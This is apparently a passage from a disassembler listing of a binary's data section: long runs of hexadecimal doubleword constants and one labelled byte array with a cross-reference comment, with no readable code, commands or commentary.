		dd 9D8300Dh, 28576866h,	0CA42D754h, 0E0430453h,	0D508C35Fh
		dd 10A5267h, 553A1192h,	20E90889h, 0E197142Ah, 1CC83C5h
		dd 0CDE60C81h, 0F6BEE05Eh, 69106103h, 20F32970h, 681267E8h
		dd 0B63471C1h, 0E980DA0Dh, 3143D8E5h, 319527C1h, 0CA074576h
		dd 36B7567Ch, 329DF260h, 0F20D58B3h, 0E29CC913h, 251A5180h
		dd 0C710647Eh, 4E702109h, 0C096FD28h, 684253BEh, 9F5AD028h
		dd 0F4A1B74Ch, 8CA77B0Ah, 4A92E74Ah, 0E3A293F9h, 0A29A6F44h
		dd 71685709h, 1C14F501h, 43C5F58h, 36AF4326h, 0A19778D0h
		dd 11B1057h, 4FF616C7h,	7A689631h, 4534F42Eh, 0B904599Ah
		dd 33B67955h, 891F55B8h, 0DB54CBD9h, 0E5B5B4F1h, 95FB6ECh
		dd 32C55933h, 2D39DB27h, 0E42D11C5h, 0C3E938C2h, 0EB8648E1h
		dd 32E24330h, 0E90D0667h, 0F1A3EE85h, 0E6275923h, 203CB457h
		dd 0BA2EC0C9h, 7F9679D8h, 7A4F9E90h, 52890EA2h,	0F8B97E02h
		dd 2D29987Dh, 79AEBFAEh, 744323A3h, 0F3AE3B0h, 5C1E072Fh
		dd 0EAEB8197h, 6EEFF8F0h, 9A682C07h, 649E302Bh,	9709E858h
		dd 0F381CF00h, 963C671Bh, 12E3B74Ah, 4342FEC0h,	8EE9189Fh
		dd 39C279DDh, 6AD70216h, 0F2EA0F00h, 0BD64FD48h, 960CC2ECh
		dd 227EB193h, 0D7080EC3h, 40DA013Bh, 0E504080Bh, 9404136Dh
		dd 25BA4E64h, 54B6294h,	0E95768DFh, 27FD698Bh, 5A3B397Eh
		dd 5A5A3BCh, 0C8C44100h, 0DA978569h, 53E60733h,	0B4182431h
		dd 320CF189h, 0DE578B33h, 0FB2AC58Ah, 6EE91B05h, 0C780D443h
		dd 0D2EF98C9h, 0F5B13F51h, 4B5C1C10h, 0FC411BA8h, 7EAE1E20h
		dd 0D5BA252Ah, 706B526h, 0FE7FF7A0h, 0E9639204h, 5789B74Ch
		dd 0A3C3FF0h, 0D1897464h, 886942FCh, 183C25D1h,	3010A03Eh
		dd 0B8594ACEh, 11597BA9h, 60A74ADEh, 5A3DC08Ch,	36B3524Ah
		dd 0DC61B71Bh, 8EFC0F8h, 0CFE4FE76h, 0F01414CCh, 0FB6817F3h
		dd 1E2A6144h, 7F5F0298h, 5A4AE56Eh, 0EDF4B2B8h,	4FF1109Bh
		dd 90EC14Bh, 0AFA804DCh, 0A7F9231Ch, 0A03974F4h, 9B6817BCh
		dd 2463FB19h, 5F7BDA55h, 0E6772E1Ah, 12C04A20h,	0F5933894h
		dd 0E0EFCC03h, 20E8291Eh, 0CDB2B5CAh, 87B717F0h, 31E55638h
		dd 0C680C690h, 2855B01Dh, 0A57898Ah, 1ECA5014h,	0E1A200BAh
		dd 0D2E948C8h, 0CAECB04Bh, 6A5D0FA1h, 0F5E8939Ch, 409F2A3Ch
		dd 44DD536Eh, 731EDC1h,	72AD6445h, 9F703CD9h, 1E4705CBh
		dd 0F108E966h, 87CA3031h, 7BFC840h, 2B925D34h, 0D8EBBF4Fh
		dd 0E29F7C64h, 0F6E777AFh, 40F28634h, 0A5C5E916h, 0DF0F3D11h
		dd 120CCE88h, 0FE8BA031h, 80E0309h, 845BD489h, 676BE68h
		dd 0F2DB2EE9h, 415C002Dh, 1A4C0512h, 0F8902283h, 0AB0744F7h
		dd 910A2544h, 0BF741712h, 2D5A9E40h, 5ACD5389h,	0B71C46Fh
		dd 965D5B07h, 0F8D37FE2h, 639FA125h, 0E77C7EE5h, 0C15B8630h
		dd 0A2FC8EB0h, 644F892Dh, 96EF2037h, 3E3C005h, 0DCC1EB80h
		dd 0E32E5BD8h, 0D767714Fh, 824B2C16h, 7EFC9C2h,	0B15711BAh
		dd 507E302Bh, 4FE06812h, 3842EC1Ch, 0D4525582h,	94619E8h
		dd 4F853E5Ah, 0FC9104BAh, 4CE10B3h, 38AB6046h, 6FE55680h
		dd 0A742F115h, 0ED1457C8h
		dd 2771799Fh, 3EBBF0C5h, 436B8EE9h, 0E898A57Eh,	6FF29BFh
		dd 0EF0417B4h, 3BD35DE7h, 3F8187AAh, 0A141022Bh, 0C011E8D0h
		dd 290CCFECh, 0AC015A1Ch, 0E6361F9Fh, 19E50177h, 8143EF51h
		dd 9A46AEB8h, 0D4E62917h, 22F101DDh, 3F05751Dh,	952DEEE4h
		dd 0A97418EAh, 0FCDFDC09h, 5B54784Eh, 9F0229B8h, 0E9058844h
		dd 582F4AC6h, 5A042FA3h, 74697ED9h, 735C62FBh, 0FCB45000h
		dd 80C40BFEh, 0FDE313F4h, 0E58866A8h, 924F1EB0h, 84432E09h
		dd 0BE007702h, 0D550EAAh, 5EF20918h, 25F1568Eh,	97F8E2AEh
		dd 0EBD02128h, 4212E82Fh, 32304076h, 0DF2980C3h, 7855A5A2h
		dd 615B4F3Ah, 2C635296h, 0E04DDE1Dh, 3B86E356h,	944D54F1h
		dd 5BA0162Fh, 0DE7CA5E9h, 6F32312Ch, 8F50C1F2h,	0EB5B5597h
		dd 5368BA05h, 0B5F7CCEEh, 9DE9190Bh, 0C26274C1h, 46FF6150h
		dd 219ABFFDh, 0C06451C0h, 0D87A5D81h, 8704F266h, 0ED7DE9D6h
		dd 1248A2ABh, 7ECA5F07h, 1B21EB4Ah, 85A5EB4Ah, 27DEF222h
		dd 576CC50Fh, 0EE3D0592h, 74500968h, 807F0B62h,	0A3E95170h
		dd 0F2A2959Bh, 0FA099560h, 78ED04E3h, 0AAD6AE15h, 0DC540304h
		dd 24F03107h, 93C8BAC6h, 0F564BD96h, 9B3B7BEAh,	0BAC6000Dh
		dd 56C92B9h, 0CF2113ACh, 7655008h, 0AD8ABC5Bh, 5FB766FEh
		dd 0EBD89406h, 6B2271C9h, 0DAA68C1h, 0FBA02F99h, 344D17C9h
		dd 0F909043Eh, 0E3C11EECh, 12331F99h, 50C09F31h, 0B35895AAh
		dd 48465B59h, 89491058h, 66DC680Ah, 47BFBE31h, 2A61C94Eh
		dd 0C8A24735h, 0EF86010h, 49C5FE5Bh, 0C0602CDh,	0BD660356h
		dd 0E18501DAh, 0F609BFEEh, 816062B8h, 271C21FBh, 0C99619E8h
		dd 2F5DC2B5h, 0A4137213h, 9FFB5934h, 5174E84h, 501226CBh
		dd 4DCE0056h, 0E909AA47h, 3BC1DF49h, 6B4E125Fh,	0EFC579FCh
		dd 687791D9h, 0CEA32B55h, 2DCF0978h, 30F74317h,	83E1E3ACh
		dd 2E48B220h, 1024D030h, 0FA8803BFh, 87F22C5Bh,	0C44F04C7h
		dd 6DDD98E5h, 2D904CA0h, 0ABF9DFCEh, 25ADF6CBh,	97C41C57h
		dd 7F259265h, 0E913549Ch, 0E3F371F0h, 0FAB3F612h, 26D64E29h
		dd 3362D743h, 7E58302Fh, 12094F5Bh, 0E8661425h,	5DC1107Ah
		dd 0BC519714h, 182E8305h, 0FBD7BA07h, 5EA81901h, 0F8F8017Eh
		dd 6E88F626h, 60298A82h, 2880354Ah, 7BD7928Ah, 44C497C7h
		dd 5F25980Bh, 9F7F5003h, 96DD9109h, 0C1FE5B74h,	6C1489B2h
		dd 14E9E28Ch, 79D9EF2h,	8DF254BAh, 4ECE4BEh, 4B1A5806h
		dd 0C937B031h, 0D4C25641h, 0F4C4131Eh, 55FEE0AFh, 87E2014Fh
		dd 0D779B95Fh, 5326DCFCh, 0CCCF12F0h, 5C419BEAh, 17D968F8h
		dd 0B3ADE5Bh, 0A803E369h, 0EBB07F47h, 923E0FCFh, 3FF30228h
		dd 0F052A366h, 88C29F1Fh, 0E941C954h, 0ED2AD50Eh, 15C99EE2h
		dd 8FAC18D4h, 4B407B47h, 8D1A10A6h, 0C18BE2B7h,	9CA9E6D7h
		dd 0EF5C6BE3h, 0B8DB8FA7h, 0F7305CD5h, 806DB3E0h, 200562BEh
		dd 0D6F76C32h, 16ED14C0h, 0CB674A8Bh, 31D00031h, 0C1352582h
		dd 1ECB011Ah, 0EA7CBE0Dh, 7121E84Eh, 50C6801h, 2B433996h
		dd 0C0DF2D21h, 1240F987h, 2DC52169h, 97C22AA0h,	42D07C01h
		dd 0CEB2F289h, 1AC5D862h, 425F5EA7h, 5E00057Fh,	9641B368h
		dd 46B06280h, 81D399CAh, 0B548682Fh, 0BA40824Ah, 0E3967CE0h
		dd 7F10594h, 71FC1066h,	50B93EE5h, 0AF6F303h, 0C042C2Ah
		dd 0DF4FFC6Fh, 0F77190BFh, 0D45A6DE9h, 0B40D0E31h, 7A45A67Ah
		dd 9517904Eh, 0D91440EAh, 573C5940h, 655230D6h,	4FABDAAAh
		dd 0C49360B9h, 34DFEF61h, 45D35C17h, 0A9462562h, 6456D2B1h
		dd 14B747E8h, 0E8C000D9h, 0E1820408h, 0E018A13Bh, 767A3459h
		dd 980C63Dh, 0E872E999h, 14AAED82h, 0A068214Eh,	0E5015222h
		dd 6A717F1Ch, 0F960DDF7h, 4A79B202h, 5B71E2E3h,	0B04EA4ACh
		dd 4540CED3h, 80921CB6h, 867ECC6h, 5601D1A4h, 19027ABEh
		dd 99F4AC89h, 2D3C2279h, 48CDE0C5h, 70BF0235h, 0C62919BBh
		dd 1B61D384h, 58AC0486h, 837C693Eh, 47EE9E48h, 0C70189B6h
		dd 0FE77345Ah, 0E94D052Eh, 7B32AA1Fh, 206E752h,	65587B60h
		dd 0C261C100h, 6EF57FA8h, 1BE112CAh, 825AE424h,	80765D0Ch
		dd 0C9E0570Fh, 5B094E2Eh, 2424E942h, 48804B26h,	77B923C3h
		dd 0C278BF02h, 420341A0h, 1356D11h, 68E9EE04h, 0D79DFB80h
		dd 0FF4CBF5h, 8B2B1D0h,	582771C6h, 774EDE72h, 5BE5BFF9h
		dd 0D79AA806h, 0C33E8EBCh, 0F2A64C97h, 0D8C1F46Dh, 210D60ACh
		dd 0A6A06EC7h, 63080F16h, 4380CA81h, 0F2E9776Ah, 0C583DA4Ch
		dd 83BCA068h, 4F848B4Bh, 0BAA598EDh, 149BDC9Ch,	0B502803Eh
		dd 0FD6ED205h, 0EE478315h, 449DED18h, 1675BF0Ah, 4529A319h
		dd 0FBDFF76Eh, 5D605F97h, 10AF6A0Ah, 3D5C75E9h,	84C8D866h
		dd 0A5A3447Bh, 0A4657210h, 787EC8AFh, 446E4641h, 176D88FFh
		dd 945803A4h, 0ECEC25DCh, 8069B594h, 9315B681h,	0EAF2B526h
		dd 7B410BB0h, 90EF130h,	5559387Ah, 5EA491D5h, 1ADE32Eh
		dd 0B3535152h, 56EAB142h, 0E18009E1h, 0D440E402h, 5D25900Ah
		dd 589E4080h, 0E3900E48h, 4F3E47F2h, 26F50050h,	0E921A863h
		dd 80B6407Ah, 305BF3F6h, 2F2A9FB1h, 13680B82h, 97E6D160h
		dd 4123C4E5h, 9A15A37Ah, 0A2127B4Fh, 442EB085h,	43AAE909h
		dd 507EACA9h, 0E86A04AFh, 3468C11Dh, 703BD337h,	924AB81Fh
		dd 883F53DDh, 9E40E86Dh, 736B7168h, 8944F573h, 6FA3FAE8h
		dd 2485774Eh, 2F1ED9BFh, 0F8AC4A49h, 147D6884h,	0F87EA7A1h
		dd 619D5F20h, 9BC98577h, 3D507989h, 0E96284FCh,	0D7F1EA69h
		dd 5F09E740h, 3B471C49h, 917E3168h, 9D2E99F6h, 7E91A79Eh
		dd 0B95769DFh, 0D87E5E11h, 6440F71Ch, 5FFC01B8h, 0BC6843F0h
		dd 0C0F13C4Eh, 424523D5h, 0C6739709h, 162D4801h, 0A07F6533h
		dd 0F19306B2h, 6E29FC22h, 644FBFB3h, 20AAFE65h,	0F81D6CD2h
		dd 9DFCFAC4h, 4BEB8AFFh, 77692FE9h, 0CCEC9651h,	2D5D80AEh
		dd 78069400h, 3440559h,	0E0435C3Dh, 0DB07A27Ch,	9817203Fh
		dd 0A9FF58DAh, 195871C2h, 66933D60h, 0C11908E8h, 60603E2h
		dd 5E495D20h, 0AA5A3BDh, 70E2702h, 633B7388h, 1F24A44h
		dd 0D53C9F2Fh, 1A0EA20Ch, 3451553Dh, 0E6AB51B9h, 1EE90937h
		dd 0F7302ACAh, 3370B92Eh, 4C2D8192h, 0D9E22BEh,	0E767DE2Dh
		dd 8E29EF56h, 7AE96176h, 81FC208Dh, 9FEA545Dh, 5552C309h
		dd 9835CC4Dh, 27596BE0h, 0CDFAEFD1h, 8D526F0Ch,	9C7113Ah
		dd 25FE5A66h, 74313E8Dh, 414EB29Eh, 0A24A70CEh,	0E40C22BFh
		dd 68479741h, 8425C3BCh, 0A34C8762h, 72B778A4h,	0B2295BFDh
		dd 534193C5h, 227C23D2h, 407A0F81h, 9501164Ch, 500A2C75h
		dd 741F4765h, 0C34F7808h, 0FB145B2h, 490290BAh,	720BEF4Ah
		dd 0F196A5E9h, 280C9F6h, 607052A2h, 838E92Fh, 54EA6E69h
		dd 9009EE26h, 80510920h, 4914CA94h, 12756054h, 0E73AE907h
		dd 0B95C68C9h, 0B36AA570h, 70BD059Eh, 0FAC33E2Bh, 9325444Eh
		dd 97EB128h, 7E7E40E6h,	7DF2DA59h, 0F62A1BC5h, 0CA1BB80Bh
		dd 988B7F54h, 5B834C5Ch, 0B7F5E52h, 4B35E910h, 0FF33BA55h
		dd 533EE782h, 19243C71h, 2FDF9908h, 78EBFC5Eh, 6528203Ch
		dd 137C4760h, 0C1140B27h, 974F4872h, 0E0C8249h,	0C80DDF22h
		dd 2D98F58Fh, 46D83802h, 0A05BF01h, 3EBC17Ch, 71CDDC99h
		dd 0F70031D0h, 7AB943E4h, 85AAA52Ch, 0CCE71FCBh, 0E112C9A0h
		dd 48DC0541h, 9EE09D56h, 3813CDBBh, 45B164E9h, 6F787541h
		dd 0D304B36Ah, 7C9D2792h
		dd 8B5B27F7h, 75097526h, 0ADB8D9E1h, 0BD6FC422h, 600E4E57h
		dd 18E21C81h, 0BB03387h, 8907F650h, 0D4A2F74Bh,	3FE4DD1Ah
		dd 19520257h, 6BCE7DA2h, 7D5C1AF6h, 0E5C18433h,	6ED95C1h
		dd 0E942B03Ah, 20C92330h, 30CBBEh, 0EEC122A8h, 0E2E68105h
		dd 0E5A61C2Eh, 18B69808h, 0E77A3404h, 7E272D99h, 0A35B9236h
		dd 21BFD677h, 4815D27h,	46E8FF84h, 8AC584h, 51664F0Ch
		dd 42E42468h, 9BB0619Fh, 0B56D3888h, 59667F81h,	408AB26Bh
		dd 0DC4B48FDh, 50CDE6F9h, 565CE6EAh, 0BC2E5C59h, 3F47C45Fh
		dd 0C81750F3h, 0E74AE8F3h, 7AD160E2h, 44D31E97h, 42656614h
		dd 5C049A1Fh, 90B9A3BEh, 52518006h, 25E9A5B2h, 6CDC809Ah
		dd 42427349h, 0B9023EF3h, 3426AA3h, 0CA6254C8h,	0B3287F22h
		dd 68580208h, 9B77136Fh, 0FA5794DFh, 4D89061Eh,	0EBA58098h
		dd 0B5E13CCh, 5BD88991h, 819CEBC3h, 4F55DDh, 1ECFEE81h
		dd 0CCF28E0Dh, 0EF17D3E3h, 8F3DA579h, 737090B6h, 0E7C9800Eh
		dd 0F696E161h, 104577D9h, 570B719Bh, 4FF0D168h,	0FC7778BDh
		dd 0B3E44EA3h, 41825F4Dh, 173DE421h, 5E5480E9h,	0CC0D56D8h
		dd 44F908E4h, 4E23ED4Ah, 4A7F68B9h, 0D03041BFh,	49889784h
		dd 0B7FECFF8h, 9DE6C439h, 0EC8738F4h, 588528BDh, 0B05B7FA0h
		dd 215641B1h, 0DE2ADC3Ah, 862CE897h, 0D432BF79h, 0B4DDF60Bh
		dd 45EA8402h, 0EFBA0309h, 2A98BA04h, 0F7C374A5h, 301C1482h
		dd 872EECD8h, 390581AAh, 0ED79311Ah, 4B253C24h,	7EC679AAh
		dd 0B8021872h, 0B5E523CAh, 0C5E2BD71h, 7538EAFCh, 0A50638E0h
		dd 74604081h, 26B6E8DBh, 927E3114h, 6CEEE1B7h, 54F09957h
		dd 0AD9DF5F5h, 0E6629D47h, 92029443h, 46277CC1h, 12E27C01h
		dd 428A89D8h, 0EB98DA3Eh, 4A243F9Ch, 2B75CE2Ch,	77578102h
		dd 0D04F4135h, 0CD015C00h, 0B058C1F0h, 0D439DEA9h, 0AD7266D7h
		dd 7D19681Eh, 6DC015D3h, 2672CFBDh, 0A0348Fh, 0BCED8106h
		dd 234EDCB3h, 0E76B79F1h, 0D99F7857h, 0F9A044CCh, 0F47A2FB3h
		dd 327DD266h, 2A0FDABh,	69AD1E55h, 7685212h, 5A273A05h
		dd 15C23BAh, 0D534FEADh, 0BED4121Ch, 0A201311Eh, 507B5E08h
		dd 1017DE7Ah, 30C88DF9h, 5F40F0DDh, 5AB277B1h, 0B8DA122Dh
		dd 0B4EAB3ACh, 18105BA9h, 5892F7Dh, 2287E75Dh, 3C654E60h
		dd 712C226h, 1BDFD7F7h,	10C28CAh, 12FBFE77h, 0EBDCFEF8h
		dd 1A568C09h, 0EF008508h, 0C27BC299h, 840513Dh,	4C2731CCh
		dd 3A85D049h, 0E90B874Bh, 0DDD49496h, 0E5D46265h, 68BC30AAh
		dd 0E4B33DBBh, 3EA81408h, 0CC33E296h, 714E5576h, 0AEA467BCh
		dd 0C9FE1B8Ch, 9A7D7440h, 71A47E55h, 38681C02h,	0FE4A7EFCh
		dd 4C7C123Ch, 0CF8F0EB0h, 0FBED0E05h, 2F7DC08Bh, 545377FDh
		dd 0D8851910h, 50E2CA3Bh, 60128097h, 720B1CEAh,	0EC87D505h
		dd 0A608E1F5h, 71872B4Eh, 29942209h, 502090FAh,	7B4305B8h
		dd 843133E6h, 0A84BF16h, 70A10AFFh, 0A7046FBAh,	0D3EFACB5h
		dd 0AE29AB57h, 268D702h, 13C1525Ah, 0EBBB006Ah,	66722E50h
		dd 0A28816E3h, 10FC26E8h, 0AB0152B8h, 1C535801h, 8849D806h
		dd 1DBF6508h, 8A1F60C0h, 121F1D87h, 208020A0h, 20F9A731h
		dd 501242Ah, 80C60159h,	6929188Ch, 0A3405E08h, 206362BCh
		dd 54038F1Fh, 5710186Fh, 60AA082Eh, 396C18CEh, 3E62C08h
		dd 20187EDDh, 67081AA1h, 0CC18CCB3h, 58407D91h,	5BB740ECh
		dd 0F408D462h, 16FE03ACh, 0BE442010h, 1996AD10h, 7617F55h
		dd 70F9C01h, 0CB06E6B4h, 4031086Fh, 0A727183Ch,	1A1AF01h
		dd 888616Eh, 810CE73Dh,	63482828h, 0C7E00868h, 13EF1819h
		dd 88C22E1h, 4218D1AFh,	66CC7740h, 0F9AA10C0h, 20CEDC20h
		dd 0D3543254h, 51C68B80h, 3108F590h, 18188450h,	0D2089810h
		dd 0CC914839h, 0E08B579h, 0FBC79E40h, 14BFC01h,	388D5CBBh
		dd 0CD08174Dh, 141898D7h, 80522BB1h, 0B2807870h, 5ADB8064h
		dd 0CC860A80h, 46610410h, 7106A62h, 0CF4A03E8h,	49EE0818h
		dd 80818A18h, 780D608h,	5108C47Ch, 0FBB704B4h, 45E4204h
		dd 0D706546Fh, 8431401Bh, 4520802h, 1826A190h, 0FC084CC0h
		dd 0CDC4A9F2h, 5D620888h, 0CDDD808h, 0B289013h,	94D901FBh
		dd 0C05D1095h, 7DB83010h, 894B51C6h, 0C41A9008h, 60B9808h
		dd 2028639Eh, 5E203F7Ah, 18262069h, 20CAAE31h, 9102791Ah
		dd 6E328448h, 0ABC810C4h, 85F5D06h, 188B4931h, 88C67EDh
		dd 2418A0C5h, 0A81E8540h, 927534F4h, 10396570h,	1BE44693h
		dd 9A65088Dh, 0FC449841h, 57094C5Eh, 916A9424h,	88C801D8h
		dd 8707308h, 0FC0CFF58h, 92E2287Dh, 73663328h, 8910AC08h
		dd 0B41931ABh, 0F374084Eh, 96923810h, 1528A510h, 20F0D873h
		dd 14DC3193h, 4864C18h,	5408B2C6h, 41678852h, 889C619Fh
		dd 87C5608h, 0A21C9C60h, 10752833h, 104FAFD1h, 5A10AC28h
		dd 0A71E1092h, 911A7119h, 0E4108CC3h, 669C08BBh, 82D7142h
		dd 0ADE9C962h, 746E032Ah, 20047120h, 3533DAE9h,	0ECF20872h
		dd 4F08705h, 0C8E8FC50h, 13B85FA4h, 1E45EB35h, 1039D71Eh
		dd 3B004303h, 2752C47h,	896313EBh, 7AA7B90Eh, 105003Dh
		dd 49408F44h, 7516C90Bh, 991C8BF7h, 3DE057Ah, 42C8B9F0h
		dd 0CC07833h, 304FB10Fh, 6817AC2Ch, 9A8C7205h, 1040672Eh
		dd 0DA70635Dh, 665C0C12h, 0EE6491EEh, 66329D1h,	0C9364E6h
		dd 49670B0Ch, 0A8F5011Ah, 0C3408F7h, 0B1E91403h, 80FB5A15h
		dd 0CE68514Fh, 168C7F4Bh, 373F03EFh, 15E1351Dh,	0A9E90A26h
		dd 0C6802430h, 0EACEE05Eh, 0F66EEBEEh, 7AE61848h, 0E4E96322h
		dd 0AECBD2F2h, 195AD23h, 4DF0C5BBh, 0F3017BECh,	434C1DE9h
		dd 36B95F94h, 0ED6B812Bh, 59EF3009h, 0F20FCFD8h, 0E9B20CF7h
		dd 0F3231FE7h, 0D90B8C70h, 0D253685Bh, 67093202h, 8DF55A0Ah
		dd 5F6F0C24h, 0A0F4C95Ah, 0B0534E55h, 8426626Dh, 0FCE0E189h
		dd 0CB3E3950h, 0F769F44Eh, 4B5FC324h, 2AEBA006h, 3207DF31h
		dd 68385EF3h, 9641EC4Fh, 0CED72209h, 0F46812C6h, 0B73AFD58h
		dd 0DD024B68h, 0E05133B8h, 3C1F5F82h, 6F801052h, 3A6AC625h
		dd 5A0C05D4h, 789958B0h, 0F62601Fh, 761D0DEEh, 0A685FB6h
		dd 18260E34h, 7C3B820Eh, 0B373000Fh, 0A2BAE909h, 0D5F1C2E1h
		dd 447992BDh, 0E28074FFh, 7E2189B0h, 0AD509308h, 558A144h
		dd 0E9B08728h, 0ECA934E5h, 5759DDC8h, 0C68130AAh, 55257FC9h
		dd 0A070765Dh, 0A0498408h, 0A33C27A5h, 0F3985AF9h, 52A09945h
		db 6Eh
byte_4E0049	db 0F1h, 0D5h, 9Dh	; DATA XREF: ___:0042CC94o
		dd 5BCBCE15h, 9F25284h,	2DBB2E3Ch, 0F3CA6A01h, 3ED7310Eh
		dd 803BA587h, 0E9C76A97h, 0BCDE49AAh, 8E110F52h, 86C1056Dh
		dd 74F0DE08h, 0ED69097Ch, 0B3E2013Ah, 800808h, 395E2B88h
		dd 6502BE56h, 31411042h, 80CFF1F7h, 635FB951h, 3ECE2276h
		dd 29131C62h, 10A9AA6h,	98357C3h, 4D22AD25h, 0CE767D18h
		dd 9813C962h, 1A26BF84h, 627E910Ah, 31A4DE2Eh, 0F702D8CFh
		dd 95A0D75Fh, 0BA6B055Bh, 0F8D3E934h, 4EC5B24h,	428D7EA9h
		dd 7D4C5C38h, 0E9516160h, 76959694h, 5D1766EEh,	289A7CB4h
		dd 0E39E824Dh, 93BF5912h, 0FEA3F0B4h, 136CC9A0h, 0F680FFA2h
		dd 2709491Fh, 0FC94E292h, 5324AF25h, 0A3A03013h, 976573E9h
		dd 0B1C3D19Ch, 3D550E9h, 8039B422h, 0EC986ECCh,	0E13C2846h
		dd 60E98658h, 374ECE20h, 87A3B071h, 51F23752h, 0FE5E5AD5h
		dd 97CC465Dh, 5131995h,	0FDD61EA6h, 82E812B8h, 559622EBh
		dd 6152035Eh, 0AA5CBA1h, 183F30E5h, 0BB106C03h,	525017A6h
		dd 21AE860h, 6FD45B12h,	0A985D521h, 0E18E85B7h,	0A12D3B1Fh
		dd 2C6C917Bh, 54252F26h, 0ACC7B504h, 0DD895803h, 76E13B5Eh
		dd 1FF19581h, 2FD9B02Ah, 0DF38A06h, 0E0D1246Ah,	64720867h
		dd 88028F0Dh, 2A540BCEh, 5E5DFB89h, 166960DBh, 659F4A73h
		dd 5493BFAFh, 9E1B8C31h, 0F8C1A954h, 0BCB04597h, 5B661580h
		dd 0CE770A05h, 206D5E58h, 68590A38h, 0A53F7678h, 0E8BC254h
		dd 8598FFFBh, 303C4DB3h, 0C9AC4CDAh, 1E06DD02h,	0E94E08C5h
		dd 5D2DBDA9h, 38787E12h, 0BE7008D8h, 83DC16ECh,	0A117FFDDh
		dd 761A10FDh, 8CF56F8Bh, 78E008E1h, 0C6051F07h,	7158273Bh
		dd 0CE1881F8h, 0F60A2179h, 0A2A7FF3Fh, 0E961BF51h, 0D104BAA7h
		dd 322C56E7h, 28C21C90h, 0D2AB3492h, 72755D67h,	7DF98109h
		dd 0EB814980h, 165653E5h, 9EB277F6h, 0E0285D4Eh, 28682E56h
		dd 1B7C32A3h, 54957BD0h, 3E885150h, 97C1DFC3h, 9050085Ch
		dd 804B40D1h, 3D36EF38h, 0CB7818F8h, 5F5BDC33h,	0A0753753h
		dd 73FAE9E1h, 552C22C7h, 0D0271ED5h, 81082BD2h,	502168BAh
		dd 98848951h, 2EEBCF6Ah, 0FAA450E1h, 0A5B01828h, 0F7884417h
		dd 67E95910h, 0EC64544Eh, 7D2107A0h, 0C29C25F0h, 2F4921FCh
		dd 20156593h, 19C98054h, 0ACE2E3B6h, 48D86800h,	100D9F25h
		dd 83F9E520h, 0D4206C1Ah, 72AE400Ch, 0DF5FCBC6h, 3D269C73h
		dd 2F03F800h, 2EE94773h, 0A7D74ACBh, 0F07C0BA2h, 0DF54BB4Ah
		dd 0FA203Eh, 0D57297BAh, 5AD62113h, 92DE873Fh, 0B5AC6F42h
		dd 13835F84h, 0C602A10Bh, 0FC7FD226h, 0D1959C0Eh, 287714C1h
		dd 0FE111089h, 52124248h, 0CD8D1E17h, 0E0174D16h, 0A23E2C30h
		dd 9BB59763h, 60E3FC38h, 39BE0A74h, 46FA1A20h, 0B86001F6h
		dd 5153AC16h, 0DDBA4CB1h, 0CF88FF0Bh, 7B18D47Ch, 5C531A06h
		dd 12EBEF6h, 132ECA84h,	708DECEDh, 644D865h, 65429AC2h
		dd 0C05014AFh, 5A54FE10h, 4CCA29E0h, 0C300AE2Dh, 6EF43DCh
		dd 5490D329h, 4E545140h, 40C99E59h, 1483486h, 0B68C28Dh
		dd 0B759666Ch, 0D91252B0h, 64551A92h, 2AB830C4h, 68B242D7h
		dd 0F654EB7Ah, 0E9F0DABCh, 45B1D7ABh, 0CB285C83h, 5D95768Bh
		dd 0C83248CCh, 480B1960h, 0B5EF1183h, 0B3C08C71h, 48B4501Ah
		dd 5805C759h, 0D94B32E9h, 5FE3902Bh, 0D769B092h, 3F904D1Fh
		dd 9A7B704Bh, 0AFB30015h, 75160Ch, 0E281EAD1h, 0EFA4C7Dh
		dd 228E6818h, 827C35CDh, 4EE46975h, 967FDDA5h, 58502396h
		dd 5DF90542h, 55A19C6Ch, 0B2AF04D0h, 7A2A7BDAh,	2DCADC12h
		dd 9B939E28h, 850F0D41h, 0CA82B5Bh, 84C3241Dh, 9B243E3h
		dd 34E0184Eh, 3D18243Fh, 9E630023h, 38E93A61h, 947DBAAAh
		dd 0F1695F7Bh, 0A69B687Bh, 0E8392021h, 16E32C48h, 69EA5A67h
		dd 0BECC8148h, 1C6360F6h, 0D748117Dh, 41C8303Bh, 3EDD5489h
		dd 57068945h, 0C097B530h, 16E5BA0Ch, 8A9D31F9h,	0FA2925B5h
		dd 0DBA9EE00h, 0B0516F71h, 4BE5FD58h, 4C73A77Fh, 0CC0133Dh
		dd 815B74FEh, 502EA820h, 1BC8EEA2h, 8BAC0D4Ah, 3982793Dh
		dd 2D6AE943h, 41688168h, 0A6F32F5Bh, 0B8034D1Fh, 6865704Bh
		dd 3FBB064Bh, 1D75C901h, 7CE28B56h, 21975EB3h, 107C24Ah
		dd 220CD3Eh, 0BCC8F1FEh, 14588D68h, 4BC4AD5h, 6FB85000h
		dd 29CB74EBh, 41E9C509h, 0E4F720C3h, 0F47D200Bh, 3A3F41A9h
		dd 9E7C8EE0h, 3E53183Fh, 0F4253033h, 0FB936318h, 0BD2C8E25h
		dd 51000571h, 4A0B31B9h, 497C970Ch, 1744875Ah, 84326912h
		dd 0B9107CE6h, 0CF2CCF1Bh, 0DA2102E1h, 71FDEC44h, 819781F5h
		dd 0DB3637C2h, 0FCD609C8h, 56354F46h, 1B6E02E4h, 43E86EC1h
		dd 588186D7h, 1B136Fh, 507A863h, 12CF2111h, 0E9B09787h
		dd 957A7088h, 89C59DDCh, 2B9199BEh, 5E29B03Ch, 4E00A6D8h
		dd 2C979AF2h, 735B0BB5h, 0D2B794A8h, 3500D61Eh,	7A8D0D80h
		dd 60B74D0Fh, 0EF88530Fh, 0D589A605h, 3108FB91h, 0EE5A16F9h
		dd 54EAC34Ch, 0F85F09D2h, 80FA5D16h, 0BE09B1B0h, 0DD7A3B2Eh
		dd 6217BC01h, 0D6F7E4F4h, 737410C1h, 0C66F2159h, 0BB01758Dh
		dd 430B177Ah, 95F7CB87h, 38AB70D4h, 545850CFh, 7669843Ah
		dd 0FB6AF34h, 5EE968D8h, 0F76A8B0Ah, 7700DADBh,	0D12C476Ch
		dd 0BD550FEFh, 83871728h, 325D8731h, 8A595FFBh,	0D231D63Eh
		dd 162276EBh, 2A0B0698h, 581FF550h, 4B5E9428h, 427A1A7Dh
		dd 904775F8h, 920D408h,	0DB00D9F7h, 472B36DAh, 25CE1EAh
		dd 972C2032h, 18D060C0h, 0AF5645B5h, 0E96211DEh, 2876691Fh
		dd 4090FC60h, 530C5035h, 7B2BCA68h, 0AE754AC4h,	62FBCB35h
		dd 4C575592h, 23560ADAh, 3555465h, 176D32C5h, 142BF1B0h
		dd 1D88822Eh, 7D572F1Ah, 5B5BC53Eh, 53F2C3A8h, 0C7CE9C7Dh
